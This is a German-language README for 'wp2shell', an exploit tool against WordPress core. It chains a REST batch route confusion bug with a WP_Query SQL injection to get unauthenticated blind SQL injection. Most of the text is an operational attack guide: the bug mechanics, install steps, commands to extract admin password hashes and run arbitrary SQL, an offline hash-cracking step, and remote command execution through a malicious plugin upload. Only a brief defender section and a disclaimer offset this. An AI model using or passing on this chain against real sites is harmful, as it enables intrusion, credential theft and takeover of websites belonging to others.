wp2shell von: ek0ms savi0r

Unauthenticated Remote Code Execution für WordPress Core POC (CVE-2026-63030 + CVE-2026-60137)

wp2shell Exploit für eine kritische Sicherheitslückenkette im WordPress Core. Er kombiniert einen REST-API-Batch-Route-Confusion-Bug mit einer SQL-Injection in WP_Query, um eine nicht authentifizierte Remote-Code-Ausführung auf anfälligen WordPress-Installationen zu erreichen.

Funktionsweise

Der Exploit kombiniert zwei Fehler im WordPress Core:

1. CVE-2026-60137 — SQL-Injection – Wenn author__not_in als String statt als Array übergeben wird, überspringt WordPress die is_array()-Sicherheitsprüfung und interpoliert den rohen Wert in eine NOT IN (...) SQL-Klausel.

2. CVE-2026-63030 — Batch-Route-Confusion – Der Endpunkt /wp-json/batch/v1 erstellt parallele $matches- und $validation-Arrays. Eine fehlerhafte Unteranfrage wird an $validation angehängt, aber nicht an $matches, was zu einer +1 Indexverschiebung führt. Unteranfrage i wird mit dem Handler von Unteranfrage i+1 ausgeführt.

Kombiniert: Eine POST /wp/v2/posts-Anfrage, die eine innere GET /wp/v2/users-Anfrage mit einem author_exclude-String trägt, umgeht sowohl die Methoden-Whitelist als auch die Eingabebereinigung. Der String erreicht WP_Query als author__not_in und wird in SQL interpoliert — was Ihnen eine nicht authentifizierte blinde SQL-Injection ermöglicht.

Von dort aus kann das Tool:

• Den Administrator-Passwort-Hash extrahieren
• Sich als Administrator authentifizieren (sobald der Hash geknackt ist)
• Ein bösartiges Plugin hochladen
• Beliebige Systembefehle ausführen

Funktionen

Installation

git clone https://github.com/ekomsSavior/wp2shell.git
cd wp2shell
chmod +x wp2shell.py

Das war's. Keine Drittanbieterpakete erforderlich.

Verwendung

./wp2shell.py <url> [command] [options]

Interaktiver Modus (Menügesteuert)

./wp2shell.py http://target.com

Startet ein interaktives Menü mit allen Funktionen, die über nummerierte Optionen verfügbar sind.

Befehle

check — Sicherheitslücke bestätigen (Sicher)

Führt eine Zeitverzögerungssonde durch, um die Ausnutzbarkeit zu bestätigen. Liest keine Daten und ändert nichts.

./wp2shell.py http://target.com check

read — Daten extrahieren (Blinde SQL-Injection)

Extrahiert Informationen aus der Datenbank mittels zeitbasierter blinder SQL-Injection.

# Server-Fingerabdruck (Version, Datenbank, Benutzer)
./wp2shell.py http://target.com read

# Benutzer-Logins und Passwort-Hashes extrahieren
./wp2shell.py http://target.com read --users

# Datenbanknamen extrahieren
./wp2shell.py http://target.com read --database

# MySQL-Version extrahieren
./wp2shell.py http://target.com read --version

# Benutzerdefinierte SQL-Abfrage
./wp2shell.py http://target.com read --query "SELECT @@version"

shell — Remote-Code-Ausführung

Erfordert gültige Administrator-Anmeldeinformationen. Die SQL-Injection kann den Passwort-Hash wiederherstellen, aber Sie müssen das wiederhergestellte Klartext-Passwort angeben.

# Einzelnen Befehl ausführen
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd "id"

# Einzelnen Befehl ausführen (Kurzform)
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd whoami

Optionen

Beispiel-Workflow

# 1. Check if the target is vulnerable
./wp2shell.py https://example.com check

# 2. Extract admin password hashes
./wp2shell.py https://example.com read --users

# 3. Crack the hash offline (using hashcat, john, etc.)
# hashcat -m 400 <hash> /path/to/wordlist.txt

# 4. Execute a command with the recovered password
./wp2shell.py https://example.com shell --user admin --password 'cracked_pass' --cmd "id"

Betroffene Versionen

Versionen vor 6.9.0 sind nicht von der vollständigen RCE-Kette betroffen.

Erkennung & Eindämmung

Für Verteidiger:

• Aktualisieren Sie sofort auf 6.9.5, 7.0.2 oder höher
• Cloudflare-WAF-Kunden sind automatisch geschützt
• Wordfence-Kunden haben Firewall-Regeln
• Überwachen Sie auf POST /wp-json/batch/v1-Anfragen mit verschachtelten requests-Bodies
• Ein 404 auf der Batch-Route bedeutet nicht immer "gepatcht" — es kann auch bedeuten, dass eine WAF/CDN den anonymen REST-API-Zugriff blockiert

Rechtlicher Haftungsausschluss

Dieses Tool dient ausschließlich zu Bildungs- und autorisierten Sicherheitstestzwecken.

Danksagungen

• Entdeckung: Adam Kues (Assetnote / Searchlight Cyber)
• CVE-2026-60137 (SQLi): TF1T, dtro, haongo
• CVE-2026-63030 (Batch-Route-Confusion): Adam Kues

Für weitere Details zur Sicherheitslücke siehe den Searchlight Cyber Research-Blog.